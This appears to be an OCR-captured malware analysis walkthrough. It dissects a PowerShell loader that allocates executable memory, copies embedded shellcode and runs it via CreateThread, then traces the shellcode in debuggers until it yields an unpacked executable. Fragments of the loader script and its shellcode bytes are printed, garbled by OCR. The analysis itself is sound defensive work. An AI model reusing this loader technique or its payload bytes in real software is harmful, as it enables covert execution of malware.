.GetMethod("GetProcAddress" ). Tnvoke( @l ISvstem.Runtime.Interc

PowerShell ¥ Tab Width: 8 v Ln1, Coll ~ INS

and yes, it is a powershell script, let’'s move on to our windows machine and analyse it.

there is a great tool called powershell_ise to debug powershell scripts, let’s use it to open
our script.

opening the script in powershell_ise we can see a variable called sc32 at line 26 that holds a
set of hex values.

E:' Windows PowerShell ISE
File Edit View Tools Debug Add-ons Help

H & & O M » B = | 8B oo &3

powershell_scrps1 X

A
§SystemA AppDomain CurrentDomain. GetAssemblies() | Where-Object{$_.GlobalAssemblyCache §_.Location.Sphht("\") -1 .Equ
#dnbdhyy

22 5 afeNativeMet fSystemAssembly. GetType("Microsoft.Win32.UnsafeNativeMethods");

23 #Fyuleusmjv

4 return $UnsafeNativeMethods.GetMethod("GetProcAddress™). Invoke($nu @([System.Runtime. InteropServices.Hand]leRef] (New-Object Syste

#oucdkxxymd

Byte 0x55 Ox8B OxEC Ox81 OxC4 Ox00 OxFA OxFF OxFF Ox53 Ox56 <#mgqg#>0x57 O0x53 Ox56 Ox57 OxFC O0x31 OxD2 Ox64 Ox8B O0x52 0
#ulbktym

System.Runtime.InteropServices.Marshal GetDelegateForFunctionPointer ((gproc kernel32.d11 VirtualAlloc), (gdelegate @([IntPt
9 #1jgkvcyi
30 Fif(3pr 0){Smemzet=([System.Runtime. InteropServices.Marshal GetDelegateForFunctionPointer {(gproc msvcrt.d]l memset), (gdelegat
31 #jtvzyetm
for (51=0;%3 ($sc32.Length-1);5i++) {Smemset.Invoke((Spr+5i), $sc32[%i 1)}
#qimx
([System.Runtime. InteropServices.Marshal GetDelegateForFunctionPointer ((gproc kernel32.d1] CreateThread), (gdelegate @([ IntPtr
#mgujhdqtk
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and at line 28 we see a VirtualAlloc invoked to allocate the length of s€32 with 0x40
(READ_WRITE_EXECUTE).

powershell_scrps1 X
26 |57 ,0xFC,0x31,0xD2.0x64,0x8B,0x52,0x30,0x8B,0x52,0x0C,0x8B,0x52,0x14,0x8B,0x72,0x28,0x6A,0x18,0x59,0x31,0xFF,0x31,0xC0O

virtualAlloc) (gdelegate @(/ IntPtr | [UINt32] [UInt32  [UInt32) ((UInt321)))) Invoke(0 $sc32 Length 0x3000 0x40);

29

and if we take a look at line 32 and 34 we see that it copies the bytes from sc32 to some
memory pointer then calls CreateThread to execute that region of memory.

31 | #jtvzyetm
32 for (51 0;81 ($5c32 Length 1);%i 1) {Smemset Invoke((%pr $i). $sc32 %i 13;)

22
34 CreateThread) (gdelegate @( IntPtr! 'UInt32! [UInt32] [UInt32  [UInt32  [IntPtr!) ( IntPtr!)))) Invoke(0 0 $pr Spr
35

So, what we can conclude from this basic analysis?

1. this powershell script is just another loading stage to load and execute the shellcode in
sc32 (the name also tells us that this is a shellcode [shellcode32]).

let's dump this shellcode and analyse it, don’t go too far, we can also use powershell_ise to
extract this shellcode.

first we need to put a breakpoint in the line after sc32 variable (rigth-click and toggle
breakpoint).

run the script (it will break after 15 seconds because at the beginning of the script it sleeps).
after you hit the breakpoint type this in the bottom console.

[io.file]::WriteAllBytes('shellcode.bin', $sc32)

Shellcode Analysis

and now we have our shellcode set and ready for analysis. let’s start analysing from SCDbg
tool.
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@ scDbg - libemu Shellcode Logger Launch Interface - O X

Shellcade file |C:\Users\Public\shelcode. bin ' ml

Dptions
[ Report Mode [ Scan for Api table | Unlimited steps [ FindSc [ Start Offset Ox Example

[ Create Dump [ Uselnteractive Hooks [~ Debug Shell
[ MoRWw Display | Monitor DLL Read/w'rite

More

[ Process Command Line |

[ fopen |

[ Manual Arguments

ﬂ - Launch

000000 55 8B EC 81 C4 00 FA FF FF 53 56 57 53 56 57 FC Ueeeewa. . SVASVH. e
00001 31 D2 &4 8B 52 30 6B 52 0C 8B 52 14 €B 72 28 6A l.d.R0O.R..R..r(J

000020 18 59 31 FF 31 CO AC 3C 61 7C 02 2C 20 C1 CF 0D .Y1.1l..<al., .

000030 01 C7 E2 FO 81 FF 5B BC 4R €A 8B 5A 10 8B 12 75  ...... [.J5.2... u

000040 DB 89 5D FC S5F SE 5B 8B 45 FC 85 45 D4 8B 45 D4 ve] o _"[«E..E..E

000050 €6 81 38 4D SA OF 85 OF 02 00 00 8B 45 FC 33 D2 f.oMZ E.3.

0000&0 52 50 BB 45 D4 8B 40 3C 99 03 04 24 13 54 24 04 P.E..B<...5.T5.

000070 83 C4 08 89 45 DO 8B 45 DO 81 38 S50 45 00 00 OF voasEu ELLBPE. ..

000080 25 ES 01 00 00 8B 45 DO 8B 40 78 03 45 FC 89 45  ...... E..@x.E..E

000050 CC 8B 45 CC 8B 40 18 85 CO OF 8C CB 01 00 00 40 .E..Q.. @

0000A0 89 85 3C FF FF FF 33 Fé 8B 45 FC 33 D2 52 50 BB e€ConedssE.3.RP

0000BO 45 CC 8B 40 20 33 D2 52 50 8B Cé Cl1 EO 02 99 03 E..8.3.RP.......

0000C0 04 24 13 54 24 04 83 C4 082 03 04 24 13 54 24 04 .I5... z.15.

0000D0 83 C4 08 BB 08 03 4D FC 81 39 4C &F €1 €4 75 56 e»essM. . .9L0oaduVv

0000EO 8D 41 04 Bl 38 4C €9 62 72 75 4B 8D 41 08 81 38 .A..8LibruK.A..8

0000F0 €l 72 79 41 75 40 8D 41 0C 80 38 00 75 38 8B 45 aryRu@.A..8.us.E

000100 CC 8B 40 24 03 45 FC 33 D2 52 50 8B Ce 03 CO 9% ..B5.E.3.RE

000110 03 04 24 13 54 24 04 83 C4 08 €6 8B 00 8B 55 CC .15, f U

000120 8B 52 1C 03 55 FC OF B7 C0 C1 EO 02 03 DO 8B 02 eResUaesnnnsnnns

000130 03 45 FC 89 45 BC €1 39 47 €5 74 50 75 26 8D 41 E..E..S%GetPuV.A v

click launch and observe the output.

EGEGEED

4012cf LoadLibraryA(advapi

401485 RegOpenKeyExA(HKLM\ ,
40154d RegOpenKeyEXxA(HKCU\
4015e4 ExitProc (0)

49041

nothing intersting, we can see that it only open some registry keys (which are not presented
because this shellcode is not loaded in memory so it can determine strings based on his
address) and thats it, we have to dynamically analyse it in order to know what it is essentially
doing.
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let’s use runsc tool.

\PubTlic>runsc.exe -f shellcoc

[*] shellcode file: shellcode.bin

[*] size of shellcode is 2980 bytes

[*] what to do now.

Shellcode addre
Shellcode thread 0 ) (currently suspended)

64-bit debugger.
Attach to this proce using the debu .
t a breakpoint on the shellcode add she ove (e.g. bp <addr>).
itch back to this windo or I shellcode thread.
vitch back to the debugger and the program will be stopped on the first shellcode instruction.

as we see in the console, we need to open XDBG and attach runsc process then put a
breakpoint on the shellcode’s address.

after you put the breakpoint, go back to the runsc window and click any key once or twice
untill you hit the breakpoint in XDBG.

B e ® Graph log Notes ® Breakpoints  ## MemoryMap  [LJ Call Stack =7 SEH sapt  ®symbols <> Source References # Threads <) Snowman @ Handes £7 Trace
EIP ECX EDX EBI O - oo0 S push ebp ~| wide FPU
3000 8B EC mov ebp,esp
) 81 C4 00 FA FF|add esp,FFFFFA00 EAX  6CACB40F
53 push ebx EBX 00730000
56 push esi ECX 00730000
57 push edi EDX 00730000
53 push ebx EBP  00FBFO64
56 push esi ESP  00F8F954
& pushijecs EST 00730000
31 D2 xor edx,edx EDI 00730000
64 88 52 30 mov edx,dword ptr :[edx+30]
8B 52 0C mov egx,g::org ptr dE: Eegx L]] EIP 00730000
8B 52 14 mov edx,dword ptr ds:[edx+14
8B 72 28 mov esi,dword ptr ds:[edx+28] EFLAGS 00000344
6A 18 push 18 ZF 1 PF1 AF O
59 pop ecx OF 0 SFO DF O
31 FF xor edi,edi CFO TF1 IF1
31 co xor eax,eax
AC Todsb L. LastError 00000057 (ERROR_TINVALID_PARAMETER
3C 61 cmp al,61 61:"a LastStatus C000000D (STATUS INVALID PARAMETE
7C 02 i1 73002Dp .
2= 2o i - "7 5 | Default (stdcall) ~ |[s_]0] unloded
— 1: [esp+4] 00730000
ebp=00F8F964 2: [esp+8] 76468630 <kernel32.BaseThreadInit
3: [esp+C] 6CACB40F
........ 4: [esn+101 O0ERFIAC
Woump1  UYpump2 WHDump3  WHDumps4  UMDumps @ watch1  Ixellocals 7 Struct 64686 return to kernel32.76468654 from 777 2
/Addres Hex l ) 92742(8)2 kernel32.BaseThreadInitThunk
77AC101C 00 1E 00 DE AC 7728 00 2A { B

77AC10 34 00 36 00

00
9C |

77AC101A 00 1C 00|50 DD AC 77 |18 00 1A |. LOOEEE
20 7
BC

|
[77B24Areturn to ntd11.77B24A77 from ???
5 007300

77AC1020 00 22 00
77AC102C 00 2e 00
77AC1018 00 1A 00 |7C

77AC1022 00 24 00|CO 95 AC 77|18 00 00 ) OF 8- 9] 000000

77AC1004 18 AC 77 |40 00 00 00|00 00 00 ool nnmann =
77AC102A 00 2C 00 /E4 95 AC 77 |08 00 OA vij< >
Command: Default v

we are now in the shellcode codel.

from our previous analysis we see that this sample calls RegOpenKeyExA but take a note
that if you do a bp RegOpenKeyExA the breakpoint wont trigger because this function is
actually loaded from advapi32.dll

so type the following in the XDBG console:

bp advapi32.RegOpenKeyExA
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run.

8B FF mov edi,edi RegOpenKeyExA
74FAFC12 55 push ebp
74FAFC13 8B EC mov ebp esp
/4FAFC15 5D pop €
74FAFC16 <advapi32| - FF 25 44 B3 FF|jmp duord ptr ds:[<&RegOpenKeyExA>] |[RegOpenKeyE xA
74FAFCI1C cC int3
74FAFC1D CcC int3
74FAFC1E cC int3
/4FAFC1F CcC int3
74FAFC20 CcC int3
74FAFC21 CcC int3
74FAFC22 CcC int3
/4FAFC23 cC int3
74FAFC24 cC int3
74FAFC25 CC int3
74FAFC26 cc int3
7AFAFC27 cC int3
74FAFC28 cC int3
74FAFC29 CC int3
/4FAFC2A CcC int3
/4FAFC2B CcC int3
74FAFC2C CcC 'Irlt3

and YES! we hit it, and as we see from the stdcall window, we know the key it opens.

= [es p+4
2: |lesp+8 00?30A48
3: [esp+C] 00000000
4: lespns+101 000OOOCOCOT

let’'s get back to user code, if we scrolled down a little we can see a call to

"software\\gxyhwinsg"

RegQueryValueExXA (makes sense because we called RegOpenKeyExA) and VirtualAlloc .

let’'s put a breakpoint on VirtualAlloc and watch the memory that it allocates (the return

memory address is in EAX).

007304A5 83 CO 41 add eax,41 eax: "sof tware\\gxyhwinsg"
007304A8 50 push eax eax: "software\\gxyhwinsg”
007304A9 8B 85 70 FF FFmov eax,dword ptr ss:|[ .
007 304AF 50 push eax eax: "sof tware\\gxyvhwinsg"
00730480 FF 55 AC call dword ptr ss:[ebp|[ebp-54]f RegQueryValueE
00730483 85 CO test eax,eax eax: sof twarey \gxXymwiTmsg
007304B5 ~ 75 5C jne ?30513
007304B7 83 BD 60 FF FF cmp dword ptr ss:[[ebp-{64:'d"

| ------8| 007 304BE ~ 76 53 fbe 730513

i 007304C0 6A 40 push 40

i 007304C2 68 00 30 00 00 push 3000

1 007304C7 8B 85 60 FF FF mov eax,dword ptr ss:

007304CD 50 push eax ax: "software\\gxyhwinsg”

e 007 304CE 6A 00 push 0

i 007304D0 FF 55 A8 call dword ptr ss:[[ebp [ebp-ss]:

i 007304D3 89 85 64 FF FF mov dword ptr ss: Eebp

i 007304D9 83 BD 64 FF FF cmp dword ptr ss:[ebp-

I s 007304E0 ~ 74 31 1e 730513

i 007304E2 8D 85 60 FF FF lea eax,dword ptr ss:

B 007 304E8 50 push eax eax: "software\\gxyhwinsg"”

b 007304E9 8B 85 64 FF FFmov eax,dword ptr ss:|[ ;

b 007 304EF 50 push eax _|eax:"software\\gxyhwinsg"

Woump1  Uhpump2 GWoump3  WWpump4  Wupumps @ watch1  [ellocals 2 Struct
< IT
00F90000 00 00 00|00 00 00 00|00 00 00 (a.lsceeeueun-
00F900 00 00 00 00 |00 00 00 00(00 00 00 (.. ......
00F900 00 00 00 00 |00 00 00 00(00 00 00 {...c.on-.- J add byte ptr ds:[eax],al (User Code) }

00F900 00 00 00 00 (00 00 00 00|00 00 00 (. .| .. .......
00F900 00 00 00 00|00 00 00 00|00 00 00 {..|..ccuoo...
00F900 00 00 00 00|00 00 00 00|00 00 00 {...........
00F900 00 00 00 00|00 00 00 00(00 00 00 {..|..ccuonon..
00F900 00 00 00 00|00 00 00 00(00 00 00 {....ccuiuun..
00F900 00 00 00 00|00 00 00 00/00 00 00 ¢...........

run again and observe how this memory region changes.
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By @oeoh  [rlog  [nots  ® breddponts M MemoryMep [ CalStock  S@SEH  [o/saipt @ Symbos <2 Sowce /) References W Theads & snowmen i Hendes ¢ Trace

8B FF mov_edi,edi VirtualATTloc ~| Hide FPU
764668/ 2 55 push ebp 1de
76466873 8B EC mov ebp,esp EAX 0006CC54
76466875 5D op ebp i . EBX 00000000
76466876 <kernel32| - FF 25 0C 12 AC|jmp dword ptr ds:[<&VirtualAllec:VvirtualAlloc ECX 00F8F850
7646687C cc nt3 EDX  000000A5 ‘¥
7646687D cC nt3 EBP 00F8F950
7646687E cC nt3 ESP 00F8F330
7646687 F cc nt3 ESI 00000100 L*A’
76466880 cc nt3
76466881 cC nt3 EDL CODDIRY
;g:ggggi Eg :E; EIP 76466870 <kernel32.virtualAlloc>
76466884 cc t3
2 €466885 G el EFLAGS 00000344
76466886 CcC nt3 ZF1 PF1 AF O
76466887 (el nt3 OF 0 SF O DF O
76466888 cc nt3 CFO TF1 IF1
76466889 G nt3
7646688A cC nt3 LastError 00000057 (ERROR_INVALID_PARAMETER
76466888 (e nt3 LastStatus 00000000 (STATUS_SUCCESS | |
7646688C cc nt3 v
|- i - —=> 5 | Default (stdcal) ~ |[5 )07 unlodked
- 1= es—]pu 00000000
edi=0 2: [esp+8] 0006CC54
3: [esp+C] 00003000
. 4: [esn+101 00000040
o1 Woump?  WHDump3  GBDump4 | WDuwmpS @ watch1  beellocals ) St 7306 return to 0073068A from 777 ~
II B 0006CC
00F900C6 A3 51 82 EA F2 B4 D4 2C F9 OC CE 08 6F 52 96 £fQ.e0 0,u.1.0R. 000030
00F900 68 38 74 B7 A8 95 89 9C €9 73 3C C1 /96 2D 18 E1 k8t-"...Es<A.-.a 000000
00F900 45 7A 42 44 DA CF BB B6 DA 71 95 22 EC 4C 1F CO |EZBDUI»J0q."iL.A 007300
00F900D5 6C 41 E6 |48 CF 59 EC BC 68 34 4F |6F 8E 34 6C |O1A=HIY1%h400.41 007300
00F90090 DA 21 B5 95 33 33 1F 01 B2 27 OC 5B C6 FA EE | .0!p.33..2" . [&ai 007300
00F900 79 24 35 38 85 52 85 4F (31 AD 19 0B 63 1F 90 B8 $58 R.01...C... BC11EE
00F900DA F4 9D C5 65 Al F4 F3 DO 58 8B 5B |AD 88 00 56 5.Ae j66DX. [ ..V | 3Fap73
00F900 50 A? 9R RF |04 40 3? FF |RF FR D7 09 (28 76 RD 0OC P(,*,A?h,l‘lx,(v%, V| anca- Frran v
< > < >

we hit another VirtualAlloc and our memory was filled with some random data. follow the
second VirtualAlloc’s return address in dump and run.

@oump1  YHpump2 UWHDump3  UWDump4  UWoumps @@ watchi  Ix-llocals 4 Stuct

Address Hex ASCII ~
01000000 4D 5A 50 00|02 00 00 00|04 00 OF 00 |FF FF 00 00 MZP. ... ..... YYy- -

01000010 B8 00 00 00|00 00 00 00| 40 00 1A 00|00 00 00 OO0 |  ....... @.......

01000020 00 00 00 00|00 00 00 00|00 00 00 00 |00 00 [incdword ptr ds:[=ax] (User Code) |- o v « - .

01000030 00 00 00 00|00 00 00 00|00 00 00 00|00 01 L 1 ¥ [N e

01000040 BA 10 00 OE |1F B4 09 CcD 21 B8 01 4C CD 21 90 90 L i B I o [

01000050 54 68 69 73(20 70 72 6F |67 72 61 6D |20 6D 75 73 This program mus

01000060 74 20 62 65|20 72 75 6E |20 75 6E 64 |65 72 20 57 t be run under w

01000070 69 6 33 32 0D OA 24 37 /00 00 00 00|00 00 00 00 in32. .87 ........

01000080 00 00 00 00|00 00 00 00|00 00 00 00(00 00 00 00 |........cocooo--

01000090 00 00 00 00|00 00 00 00|00 00 00 00(00 00 00 00 |......¢.cceccunonn

010000A0 00 00 00 00|00 00 00 00|00 O0 00 OO(O0 00 00 00 | .- iccececeacaann

01000080 00 00 00 00|00 OO0 00 00|00 O0 00 O0(00 00 00 00 | . ¢ e e e eeecnnnn

010000C0 00 00 00 00|00 00 00 00|00 00 00 00(00 00 00 00 |..¢¢ccueeemnunnn

01000000 00 00 00 00|00 00 00 00|00 00 00 O00(00 00 00 00 |...:.c:cueceeucunnn

010000E0 00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00 |................ v
< >

WE GOT THE UNPACKED EXECUTABLE!

Poaesz  ovie WO saL | (2-0)

»

WHAT A LONG JOURNEY!!
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